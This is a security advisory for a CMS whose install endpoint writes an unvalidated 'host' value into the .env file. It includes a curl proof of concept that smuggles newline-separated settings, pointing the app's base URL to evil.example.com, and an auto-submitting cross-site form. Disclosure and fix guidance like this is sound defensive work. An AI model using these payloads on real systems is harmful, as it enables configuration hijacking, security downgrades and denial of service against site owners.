CVE-2026-39394

Description

## Summary The `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache('settings')` is empty (cache expiry or fresh deployment). ## Details In `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35: ```php // line 32-41 $updates = [ 'CI_ENVIRONMENT' => 'development', 'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'', 'database.default.hostname' => $this->request->getPost('host'), // NO VALIDATION 'database.default.database' => $this->request->getPost('dbname'), // ... ]; ``` This value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string: ```php // line 94-98 foreach ($updates as $key => $value) { $pattern = '/^' . preg_quote($key, '/') . '=.*/m'; $replacement = "{$key}={$value}"; if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents); else $contents .= PHP_EOL . $replacement; } ``` Since the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`. The `dbpassword` field (line 17) is a secondary vector — its validation (`permit_empty|max_length[255]`) does not reject newline characters. **Access conditions:** - CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`. - `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache('settings')` is populated. The endpoint is accessible during fresh install or after cache expiry/clear. **Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable. ## PoC **Scenario:** Application is deployed but cache has expired (or fresh install window). ```bash # Inject app.baseURL override and disable secure requests via host parameter # The %0a represents a newline that creates new .env lines curl -X POST 'http://target/install/' \ -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler' ``` **Expected result:** The `.env` file will contain: ``` database.default.hostname=localhost app.baseURL=http://evil.example.com/ app.forceGlobalSecureRequests=false session.driver=CodeIgniter\Session\Handlers\DatabaseHandler ``` These injected lines override the legitimate `app.baseURL` set earlier (CI4's DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling. **CSRF exploitation variant** (no direct access needed): ```html <!-- Hosted on attacker site, victim admin visits while cache is empty --> <form id="f" method="POST" action="http://target/install/"> <input name="baseUrl" value="http://target/"> <input name="host" value="localhost&#10;app.baseURL='http://evil.example.com/'"> <!-- ... other required fields ... --> </form> <script>document.getElementById('f').submit();</script> ``` ## Impact An unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables: - **Application URL hijacking** — injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure - **Security downgrade** — disabling `forceGlobalSecureRequests`, CSP, or other security settings - **Session manipulation** — changing session driver or save path configuration - **Full application reconfiguration** — the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service) - **Database redirect** — while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network. ## Recommended Fix 1. **Add validation for the `host` parameter** — reject newlines and restrict to valid hostnames/IPs: ```php // In $valData, add: 'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'], ``` 2. **Sanitize all values in `updateEnvSettings()`** — strip newlines from replacement strings: ```php private function updateEnvSettings(array $updates) { $envPath = ROOTPATH . '.env'; if (!file_exists($envPath)) return ['error' => "'.env' file not found."]; $contents = file_get_contents($envPath); foreach ($updates as $key => $value) { $value = str_replace(["\r", "\n"], '', (string) $value); // Strip CRLF $pattern = '/^' . preg_quote($key, '/') . '=.*/m'; $replacement = "{$key}={$value}"; if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents); else $contents .= PHP_EOL . $replacement; } file_put_contents($envPath, $contents); return true; } ``` 3. **Add newline validation to `dbpassword`** — add `regex_match[/^[^\r\n]*$/]` to the validation rules. 4. **Strengthen `InstallFilter`** — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).